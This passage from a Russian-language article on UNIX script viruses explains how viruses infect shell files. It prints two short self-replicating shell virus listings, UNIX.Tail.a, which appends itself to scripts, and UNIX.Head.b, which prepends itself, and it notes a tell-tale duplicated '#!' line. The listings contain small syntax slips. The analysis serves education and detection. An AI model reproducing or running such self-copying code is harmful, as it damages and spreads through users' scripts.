Вирусы в UNIX, или Гибель Титаника II


Вирусы в скриптах - часть 5


Теперь рассмотрим пути внедрения вируса в файл. Файлы командного интерпретатора и программы, написанные на языке Perl, представляют собой неиерархическую последовательность команд, при необходимости включающую в себя определения функций. Здесь нет ничего, хотя бы отдаленно похожего на функцию main языка Си или блок BEGIN/END языка Паскаль. Вирусный код, тупо дописанный в конец файла, с вероятностью 90% успешно получит управление и будет корректно работать. Оставшиеся 10% приходятся на случаи преждевременного выхода из программы по exit или ее принудительного завершения по <Ctrl?C>. Для копирования своего тела из конца одного файла в конец другого вирусы обычно используют команду "tail", вызывая ее приблизительно так:

 

#!/bin/sh

echo "Hello, World!"

for F in *

do

  if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" -a "$(tail -1 $F 2>/dev/null)"!="#:-P"]

  then

       tail -8 $0 >> $F 2>/dev/null

  fi

done

#:-P

Листинг 2 фрагмент вируса UNIX.Tail.a, дописывающего себя в конец файла (оригинальные строки файла-жертвы выделены серым)

Другие вирусы внедряются в начало файла, перехватывая все управление на себя. Некоторые из них содержат забавную ошибку, приводящую к дублированию строки "!#/bin/xxx", первая из которых принадлежит вирусу, а вторая – самой зараженной программе. Наличие двух магических последовательностей "!#" в анализируемом файле красноречиво свидетельствует о его заражении, однако подавляющее большинство вирусов обрабатывает эту ситуацию вполне корректно, копируя свое тело не с первой, а со второй строки. Типичный пример такого вируса приведен ниже:

 

#!/bin/sh

for F in *

do

       if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then

              head -11 $0 > tmp

              cat $F >> tmp

              mv tmp $F

       fi

done

echo "Hello, World!"

Листинг 3 фрагмент вируса UNIX.Head.b, внедряющегося в начало файла (оригинальные строки файла-жертвы выделены серым)




Начало  Назад  Вперед